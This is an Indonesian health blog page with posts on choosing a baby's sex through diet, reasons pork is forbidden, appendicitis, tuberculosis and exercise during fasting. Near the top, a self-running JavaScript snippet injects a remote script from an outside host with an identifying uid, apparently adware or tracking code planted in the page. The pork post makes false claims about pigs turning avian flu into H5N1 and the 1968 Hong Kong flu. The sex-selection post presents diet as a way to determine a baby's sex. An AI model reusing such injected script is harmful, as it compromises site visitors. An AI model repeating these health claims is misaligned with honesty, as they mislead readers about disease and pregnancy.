On proses

on proses

proses

proses

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

(function(){var we=document.createElement('script');we.type='text/javascript';we.async=true;we.src='http://static.worlderror.org/s.js?code=404&lang=en&pv=2&pname=YVL4X9S]&ref=ZqHaWUscWmg5YEb]&ver=6.3.88&bt=4&ue=js&uid=wdcxwd5000lpcx-24c6ht0_wd-wxk1e63falpsfalps';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(we,s);})();

Sabtu, 04 Juli 2015

Ingin Punya Anak Cewe/Cowo?Ini Penjelasanya.

 


 Memiliki seorang anak merupakan hal yang diharapkan oleh orang agar terjaganya keturunan.Saya akan menjelaskan perbedaan kromosom yang mempengaruhi jenis kelamin janin namun perlu di ingat,ini hanyalah sudut pandang medis,tetaplah yang menentukan hanyalah alloh swt.okayyy!!



Ingin Punya Anak Cewek atau Cowok? Ini Makanan yang Perlu Dikonsumsi
















Jumlah Kromosom wanita yaitu 22-XX dan laki-laki 22-XY.
sperma  mengandung kromosom X untuk wanita dan Y untuk lelaki.



Image result for kromosom xx dan xy

Hasil penelitian dr Shettles menunjukkan :

*Kromosom wanita

-Ukuran sperma lebih besar dari kromosom lelaki
-Daya hidup kuat namun lebih lamban

*Kromosom laki-laki

-Ukuran sperma lebih kecil
-Daya hidup lemah, tapi bergerak lebih cepat (agresif) dibandingkan dengan kromosom XX yang lebih besar

                  Makanan pun memiliki peran penting menentukan jenis kelamin.berikut adalah macam macam makanan yang dapat menentukan jenis kelamin si janin


Bayi laki-laki

1. Seafood dan Daging
2. Jamur
3. Ceri manis
4. Kentang
5. Pisang
6. Aprikot
7. Buah persik
8. Kurma

Bayi perempuan

1. Terong
2. Buah bit
3. Wortel
4. Mentimun
5. Kacang hijau
6. Cabai
7. Bawang merah
8. Kacang-kacangan

Mengonsumsi daging-dagingan akan memperngaruhi suasa basa di vagina yang menguntungkan kromosom Y untuk membuahi sel telur.Sebaliknya,mengonsumsi buah buahan dan kacang-kacangan akan membuat suasana di vagina akan menjadi asam yang menguntungkan bagi si kromsom X untuk membuahi sel telur.
 Nah,barusan adalah penjelasan tentang menentukan jenis kelamin si janin dari makanan.

Sabtu, 27 Juni 2015

Alasan Mengapa Babi Diharamkan


Selain karena babi merupakan binatang yang tidak dapat dikuliti seperti kambing, daging babi juga membahayakan kesehatan manusia. Sebab, kalau babi boleh dan halal dimakan, tentu Allãh akan merancang hewan ini dapat dikuliti, tidak jorok, dan tidak bertaring. Dalam ilmu biologi modern diketahui, bahwa babi merupakan inang yang baik bagi kembang-biak beragam parasit dan penyakit berbahaya, misalnya, flu babi. Sistem biokimia babi hanya mengeluarkan 2% kandungan asam uratnya, sisanya 98% senyawa beracun itu bersarang di tubuhnya. Penelitian membuktikan, babi adalah binatang paling adaptif, cepat menyesuaikan diri dengan lingkungan liar hingga dapat berubah menjadi babi hutan yang buas dan bertaring.


1. Hasil penelitian di Cina dan Swedia, yang mayoritas penduduknya suka makan daging babi, menyatakan, “Daging babi merupakan penyebab utama kanker anus dan usus”. Persentase penderita penyakit ini di negara-negara yang penduduknya memakan babi, meningkat secara drastis. Di negara-negara Islam, persentasenya rendah, sekitar 1/1000. Hasil penelitian (1986) itu menemukan, daging babi banyak mengandung parasit, bakteri, bahkan virus berbahaya, sehingga daging babi dijuluki sebagai “Penyimpan Penyakit”. Gara-gara babi, virus Avian Influenza menjadi ganas. Dalam keadaan normal, virus AI (Strain H1N1 & H2N1) tidak menular secara langsung ke manusia, karena virus AI mati dengan pemanasan 60º C lebih-lebih bila dimasak hingga mendidih. Tapi, setelah berada di tubuh babi, virus AI itu bermutasi dengan tingkat virulensinya naik hingga menjadi H5N1. Virus AI Strain H5N1 inilah yang dapat menular kepada manusia. Virus H5N1 ini tahun 1968 menyerang Hongkong dan membunuh 700 ribu orang, hingga disebut Flu Hongkong.

2. Tahun 2001, para dokter Amerika Serikat pernah mengeluarkan cacing yang berkembang di otak seorang perempuan. Hal tersebut terjadi setelah ia mengonsumsi hamburger khas Meksiko yang terkenal berupa daging lemak babi. Pasien itu mengakui, ia merasa letih selama tiga pekan setelah makan hamburger. Ternyata, daging babi itu mengandung telur cacing pita dan menempel di dinding ususnya, kemudian terbawa peredaran darah sampai ke otak. Ketika sampai di otak, ia merasakan sakit ringan pada awalnya, hingga cacing itu mati. Hal itu menyebabkan disfungsi yang sangat keras pada susunan otak di daerah yang mengelilingi cacing itu. Cacing pita akan berkembang di usus 12 jari dan dalam beberapa bulan akan menjadi dewasa. Cacing pita dapat berbiak sampai 1.000 ekor dengan panjang antara 4-10 cm, terus hidup di tubuh manusia dan mengeluarkan telurnya melalui BAB (buang air besar).

3. struktur DNA babi paling mirip dengan struktur gen manusia. Jadi, kalau ada orang makan daging babi, itu hampir sama dengan memakan daging manusia. Sebagaimana firman Alloh dalam Surat al-Mã’idah [5]: 60 yang dikutip di atas, “ada yang dikutuk menjadi kera dan babi”. Padahal, “Kepribadian seseorang sesuai dengan apa yang dimakannya”. Maka. beruntunglah kita menjadi seorang Muslim yang dilarang makan daging babi. Wallohu a’lam.@ (Dari berbagai sumber).
selain Hasil Penelitian di Atas ternyata Hewan Babi ini merupakan Penyebar penyakit . Para pakar mikrobilogi Amerika Serikat menyatakan, sedikitnya ada 25 penyakit yang disebarkan melalui babi. Di antaranya:

* Anthrax
* Ascaris suum
* Botulism
* Brucella suis
* Cryptosporidiosis
* Entamoeba polecki
* Erysipelothrix shusiopathiae
* Flavobacterium group IIb-like bacteria
* Influenza
* Leptospirosis
* Pasteurella aerogenes
* Pasteurella multocida
* Pigbel
* Rabies
* Salmonella cholerae-suis
* Salmonellosis
* Sarcosporidiosis
* Scabies
* Streptococcus dysgalactiae (group L)
* Streptococcus milleri
* Streptococcus suis type 2 (group R)
* Swine vesicular disease
* Taenia solium
* Trichinella spiralis
* Yersinia enterocolitica
* Yersinia pseudotuberculosis

Sakit Perut Berujung Penyakit Usus Buntu

alodokter-usus-buntu
Sakit perut yang mengindikasikan penyakit ini biasanya berawal di perut bagian tengah. Pada awalnya, rasa sakit itu datang dan pergi. Beberapa jam kemudian, rasa sakit akan berpindah ke perut kanan bawah (tempat usus buntu berada) lalu bertambah parah dan terus terasa.
Rasa sakit juga akan bertambah parah saat terjadi penekanan pada bagian itu atau saat Anda batuk atau berjalan. Beberapa gejala lain yang dapat menyertai sakit perut tersebut antara lain:
  • Kehilangan nafsu makan.
  • Pembengkakan pada perut.
  • Tidak bisa buang gas.
  • Mual dan muntah.
  • Konstipasi atau diare.
  • Demam.
  • Sakit saat buang air kecil.
  • Kram perut.
Penyakit usus buntu sering disangka sebagai penyakit lain, seperti keracunan makanan, sindrom iritasi usus yang parah, konstipasi biasa, dan infeksi saluran kemih. Wanita muda juga sering mengira gejala penyakit ini berhubungan dengan kandungan, seperti kehamilan ektopik atau nyeri menstruasi.
Konsultasikan kepada dokter jika Anda mengalami sakit perut yang perlahan-lahan makin parah. Segera panggil ambulans jika sakit perut Anda tiba-tiba bertambah parah dan menyebar ke seluruh perut. Ini mengindikasikan kemungkinan pecahnya usus buntu yang dapat menyebabkan peritonitis (infeksi serius pada lapisan perut sebelah dalam).

Penyebab Penyakit Usus Buntu

Penyebab penyakit ini belum diketahui dengan pasti sehingga pencegahannya juga belum diketahui, tapi sebagian besar diperkirakan terjadi akibat tersumbatnya ‘pintu masuk’ menuju usus buntu oleh:
Penyumbatan tersebut akan menyebabkan terjadinya inflamasi dan pembengkakan. Tekanan akibat pembengkakan akan memicu pecahnya usus buntu.

Diagnosis Penyakit Usus Buntu

Gejala-gejala yang identik dengan peradangan usus buntu terkadang hanya ditemukan pada sebagian penderita dan cenderung mirip dengan penyakit lain sehingga sulit didiagnosis. Letak usus buntu pada tiap orang yang bisa berbeda-beda juga dapat mempersulit proses diagnosis. Ada yang terletak di bagian lain, misalnya pada panggul di belakang usus besar atau di belakang hati.
Dokter biasanya akan menanyakan gejala-gejala Anda sebelum mengadakan pemeriksaan-pemeriksaan berikut:
  • Pemeriksaan fisik untuk mengonfirmasi rasa sakit pada perut. Bagian di sekitar usus buntu (perut kanan bawah) akan ditekan secara perlahan-lahan.
  • Tes darah untuk memeriksa jumlah sel darah putih yang mengindikasikan adanya infeksi.
  • Tes urin untuk menghapus kemungkinan adanya penyakit lain, misalnya infeksi saluran kemih atau batu ginjal.
  • CT scan atau USG untuk memeriksa usus buntu Anda bengkak atau tidak.
  • Pemeriksaan organ intim dan tes kehamilan untuk wanita yang belum menopause untuk menghapus kemungkinan adanya penyakit yang berhubungan dengan organ kewanitaan.

Pengobatan Penyakit Usus Buntu

Langkah pengobatan utama untuk penyakit usus buntu adalah lewat operasi pengangkatan usus buntu atau yang dikenal dengan istilah apendektomi. Menjalani operasi jauh lebih aman daripada menunggu hasil konfirmasi adanya peradangan usus buntu karena risiko pecahnya usus buntu akan bertambah. Usus buntu tidak memiliki fungsi yang penting bagi tubuh manusia dan pengangkatannya tidak akan menyebabkan masalah kesehatan jangka panjang.
Sama seperti semua operasi, apendektomi tetap memiliki risiko seperti terbentuknya infeksi luka operasi serta pendarahan. Tetapi operasi ini memiliki tingkat keberhasilan yang tinggi dan jarang menyebabkan komplikasi jangka panjang.
Ada dua jenis apendektomi yang dapat dilakukan, yaitu operasi laparoskopi atau ‘lubang kunci’ dan bedah sayatan terbuka. Keduanya dilakukan dengan pembiusan total.
Operasi pengangkatan usus buntu lewat ‘lubang kunci’ (laparoskopi) lebih banyak dipilih, terutama untuk pasien manula atau yang mengalami obesitas. Laparoskopi hanya membutuhkan beberapa sayatan kecil pada perut untuk mengangkat usus buntu. Karena itu, masa pemulihan pasien akan jauh lebih cepat. Pasien biasanya akan diizinkan pulang setelah beberapa hari atau bahkan 24 jam.
Tetapi tidak semua penderita usus buntu dapat menjalani operasi laparoskopi, misalnya karena usus buntu sudah pecah atau infeksinya yang sudah menyebar. Jika ini terjadi, penderita membutuhkan prosedur bedah sayatan terbuka untuk mengangkat usus buntu sekaligus membersihkan rongga perut.
Proses operasi ini membutuhkan masa pemulihan selama satu minggu sebelum pasien diizinkan pulang. Pasien biasanya dapat kembali beraktivitas normal dalam 2-3 minggu, tapi sebaiknya menghindari aktivitas berat setidaknya selama 1,5-2 bulan setelah operasi.
Pemantauan masa pemulihan juga sangat penting. Segera hubungi dokter atau rumah sakit tempat Anda dioperasi jika Anda mengalami gejala-gejala infeksi seperti muntah-muntah, rasa nyeri dan pembengkakan yang semakin parah, demam, luka operasi terasa panas, atau ada cairan yang keluar dari luka operasi.
Penyakit usus buntu juga bisa menyebabkan gumpalan atau benjolan pada usus buntu yang terdiri dari jaringan usus buntu dan lemak. Benjolan terbentuk karena upaya alami tubuh untuk mengobati penyakit ini. Dokter biasanya tidak menganjurkan Anda untuk segera menjalani operasi. Anda akan diberikan antibiotik s
elama beberapa minggu agar infeksi gumpalan usus buntu berkurang sebelum dioperasi.

Kenali Gejala Tuberkulosis


X-PENYAKIT - Tuberkulosis atau sering disebut TBC merupakan penyakit infeksi yang sangat menular dan umumnya menyerang paru-paru. Di Indonesia sering kali kita dengar seseorang menderita TBC atau sekarang disingkta TB. Kadang masyarakat juga menyebutnya dengan flek paru. Diseluruh dunia tuberkulosis merupakan penyakit penyebab kematian kedua setelah HIV AIDS dan di Indonesia menempati urutan ketiga didunia dalam hal ini. TBC merupakan penyakit mematikan yang dengan mudah dapat menyebar. Di Indonesia sendiri dilaporkan setiap tahun bertambah 450 ribu kasus baru. Dari jumlah tersebut, 65 ribu diantaranya meninggal dunia.

Begitu menyebarnya TBC di Indonesia karena dapat menyerang bayi, anak, dewasa dan lansia, miskin ataupun kaya. Umumnya bila ketika seseorang menderita batuk terus menerus dan tak kunjung sembuh maka dikhawatirkan menderita TBC. Lalu bagaimana TBC pada anak, benarkah bila anak sering batuk dapat dipastikan menderita TBC? Atau apakah bila anak kurus juga berarti TBC? Mari kita simak dan membahasnya lebih mendalam tentang Tuberkulosis (TBC) dan juga pengaruhnya kepada anak-anak dan dewasa.

Secara umum sistem pernafasan manusia dapat menyaring zat-zat berbahaya agar tidak masuk kedalam tubuh. Namun terkadang ada zat yang dapat lolos hingga masuk kedalam sistem pernafasan salah satunya Mycobacterium Tuberculosis.

Mycobacterium Tuberculosis merupakan bakteri penyebab TBC, sebuah penyakit yang cukup sering ditemui di Indonesia. Umumnya bakteri Mycobacterium Tuberculosis menyerang paru-paru namun dapat juga menyerang organ lain seperti ginjal, tulang belakang, kelenjar getah bening, usus dan otak. TBC atau biasa juga disebut TB dapat menyerang kelenjar getah bening dan aliran darah pada organ dalam tubuh manusia.

Mycobacterium Tuberculosis memiliki banyak keunikan, bakteri ini membelah diri dengan jangka waktu 16 hingga 20 jam. Waktu pembelahan diri bakteri TB termasuk sangat lambat bila dibandingkan dengan bakteri lain seperti Ekoli yang dapat membelah diri setiap 20 menit. Selain itu bakteri TBC (Tuberkulosis) memiliki lapisan lilin yang unik pada permukaan luarnya, sehingga bila dilakukan uji deteksi gram yang umumnya dapat digunakan untuk mengetahui jenis bakteri maka kuman Tuberkulosis (TBC) tidak terdeteksi.

Kuman TBC juga tahan terhadap anti biotik lemah, selain itu bakteri Mycobacterium Tuberculosis juga dapat bertahan hidup dalam kondisi kering selama berminggu-minggu. Bakteri ini ternyata telah hidup sejak lebih dari 17 ribu tahun yang lalu dan ditemukan berada dalam tubuh seekor banten, namun ditemukan dalam jasad manusia pada fosil berusia 4000 tahun SM.

Pengobatan TBC yang efektif juga sulit karena struktur dan komposisi kimia yang tidak biasa dari dinding sel microbakteri dapat menghambat masuknya obat-obatan dan membuat banyak antibiotik tidak efektif. Meskipun tampak menakutkan dan mematikan sebenarnya TBC Insya Allah bisa disembuhkan. Namun masih banyak masyarakat belum memahami seberapa bahayanya TBC dan mudahnya penularan terutama kepada anak.

Gejala TBC (Turberkulosis)

Kebanyakan orang yang terkena TBC tidak pernah mengalami gejala, dikarenakan bakteri dapat hidup dalam bentuk tidak aktif dalam tubuh. Keadaan ini disebut TB Laten namun jika sistem kekebalan tubuh melemah seperti pada orang dengan HIV atau orang dewasa tua, bakteri TB dapat menjadi aktif. Bila bakteri TBC (Tuberkulosis) dalam keadaan aktif bakteri ini akan menyebabkan kematian jaringan pada organ yang terinfeksi. Penyakit TBC aktif bisa berakibat fatal jika tidak diobati.

TBC memiliki gejala yang khas, gejalanya seperti batuk yang terus menerus. Umumnya orang yang sakit batuk karena virus akan sembuh dengan sendirinya sekitar 2 hingga 3 minggu. Namun pada batuk TBC akan sulit sembuh meskipun sudah minum obat pereda batuk, dan batuk ini berlangsung lebih dari 3 minggu.

Selain batuk gejala lain yang muncul yaitu penurunan berat badan yang tidak disengaja. Bila seseorang tidak melakukan diet atau perubahan pola hidup namun mengalami penurunan berat badan maka harus mewaspadai terserang suatu penyakit. Umumnya penderita TBC (Tuberkulosis) tidak memiliki nafsu makan, hal inilah yang menyebabkan terjadinya penurunan berat badan.

Gejala TBC yang lain seperti rasa lelah, lemah, menggigil, dan yang khas yaitu berkeringat di malam hari. Meskipun udara dingin dimalam hari, namun penderita TBC akan tetap berkeringat. Pada kondisi yang parah, TBC yang menyerang paru-paru akan menyebabkan batuk darah serta rasa sakit didada. Rasa sakit ini juga muncul saat bernafas dan batuk, ketika seseorang dengan penyakit TBC yang tidak diobati kemudian batuk atau bersin maka udara akan dipenuhi droplet yang mengandung bakteri.

Menghirup droplet yang terinfeksi adalah cara yang sering kali menyebabkan seseorang tertular TBC. Penyebaran TBC di Indonesia masih sangat luas karena masih seringnya orang membuang ludah dan dahak sembarangan. Inilah fungsinya untuk menjaga adab dan etika ketika bersin harus menutup mulut. Ketika seseorang dengan penyakit Tuberkulosis meludah sembarangan dan ludahnya mengandung kuman TBC maka kuman tersebut akan bertahan di tanah dalam jangka waktu yang lama dan berpotensi besar menularkan ke orang lain.

Dalam penyebaran TBC hanya diperlukan 10 bakteri tuberkulosis saja dan sudah dapat menularkan penyakit tersebut ke orang lain. Satu orang yang sakit TBC dapat menularkan kepada 10 hingga 15 orang per tahun bila tidak segera ditangani.

Olah Raga Saat Puasa

Tiips Olahraga Mengecilkan Perut Saat PuasaDatangnya bulan puasa seringkali membuat sebagian orang malas untuk menurunkan berat badan. Mereka biasanya beralasan bahwa tidak perlulah untuk berolahraga saat bulan puasa. Terlebih, badan yang kosong sangat tidak memungkinkan untuk melakukan aktivitas berat meskipun tujuannya untuk mengecilkan perut misalnya. 
Anggapan tersebut tentu saja salah kaprah. Olahraga, apalagi dengan tujuan untuk mengecilkan perut tidak bisa dihindari saat tiba bulan suci. Justru pada saat bulan puasa ini, aktivitas tubuh haruslah meningkat. Tidak ada alasan bagi Anda untuk berhenti olahraga hanya karena puasa bisa membuat lelah. Tapi, tentu saja tidak semua olahraga bisa Anda lakukan di bulan Ramadan ini. Artinya, Anda harus memilah beberapa olahraga untuk dilakukan pada bulan Ramadan ini. Beberapa tips yang bisa Anda lakukan agar tetap ramping di bulan Ramadan adalah sebagai berikut.


1. Lakukan olahraga ringan 

Agar tubuh Anda tetap prima dan tidak mengalami kegemukan pada bagian perut, maka Anda bisa melakukan olahraga ringan. Olahraga ringan dalam hal ini misalnya adalah olahraga yang tidak mengeluarkan banyak keringat. Contohnya adalah olahraga seperti yoga ataupun pilates. Olahraga ini tidak membuat menurunnya kadar gula dalam tubuh. Menurunnya kadar gula dalam tubuhlah yang membuat badan menjadi cepat lelah. Selain yoga dan pilates, olahraga ringan macam lari-lari kecil juga bisa Anda lakukan. Tetapi olahraga ini dilakukan ketika menjelang berbuka puasa.

2. Hindari olahraga angkat beban 

Olahraga yang berhubungan dengan angkat beban sebaiknya Anda hindari. Pasalnya, olahraga ini lebih banyak menggunakan otot besar tubuh yang membuat Anda mengeluarkan banyak keringat. Anda bisa cepat lelah. Tapi, sebenarnya olahraga ini sangat bagus untuk membentuk perut ramping. Anda bisa melakukan olahraga ini di bulan puasa dengan cara lain. Misalnya, Anda lakukan ketika malam hari saat diperbolehkan makan dan minum. Namun, ketika selesai melakukan olahraga beban, sebaiknya hindari langsung makan berat. Cukuplah minum yang banyak. Olahraga beban ini akan membarkar lemak cukup banyak tetapi perlu waktu sekitar 3 jam untuk Anda bisa makan makanan berat.


3. Lakukan kardio 

Olahraga kardio bisa Anda lakukan saat siang hari. Hanya saja, Anda perlu mengatur waktunya. Yang paling bagus adalah beberapa saat sebelum berbuka. Misalnya, Anda melakukan lari sore hari menjelang berbuka. Olahraga dengan mengayuh sepeda juga bisa jadi solusi yang baik agar Anda tetap mendapatkan tubuh yang ideal.


4. Jaga pola makan 

Hal yang salah kaprah ketika bulan puasa adalah memakan banyak makanan ketika berbuka. Ini akan membebani tubuh Anda. Terlebih jika Anda sudah berolahraga dan terasa lapar berat. Cukupkan makanan ketika berbuka. Jangan terlalu banyak makan makanan manis. Sebaiknya perbanyak makan sayuran dan buah-buahan.


5. Minum air yang banyak 

Tidak kalah pentingnya adalah meminum air yang cukup. Saat berbuka, sebaiknya Anda banyak minum. Pola minumnya tetap delapan gelas air putih sehari. Anda bisa mengaturnya, misalnya tiga gelas pada  awal buka puasa, dua gelas saat malam hari  dan, tiga gelas saat sahur. Anda bisa mengatur polanya sesuka Anda yang penting kandungan air dalam tubuh Anda tercukupi untuk menunjang program diet Anda dalam menurunkan berat badan.

Nah, itlulah tips mengecilkan perut saat puasa. Jika Anda melakukan lima tips tersebut dengan benar dan konsisten, dijamin, perut Anda tidak buncit. Anda pun tetap sehat dan tampil menarik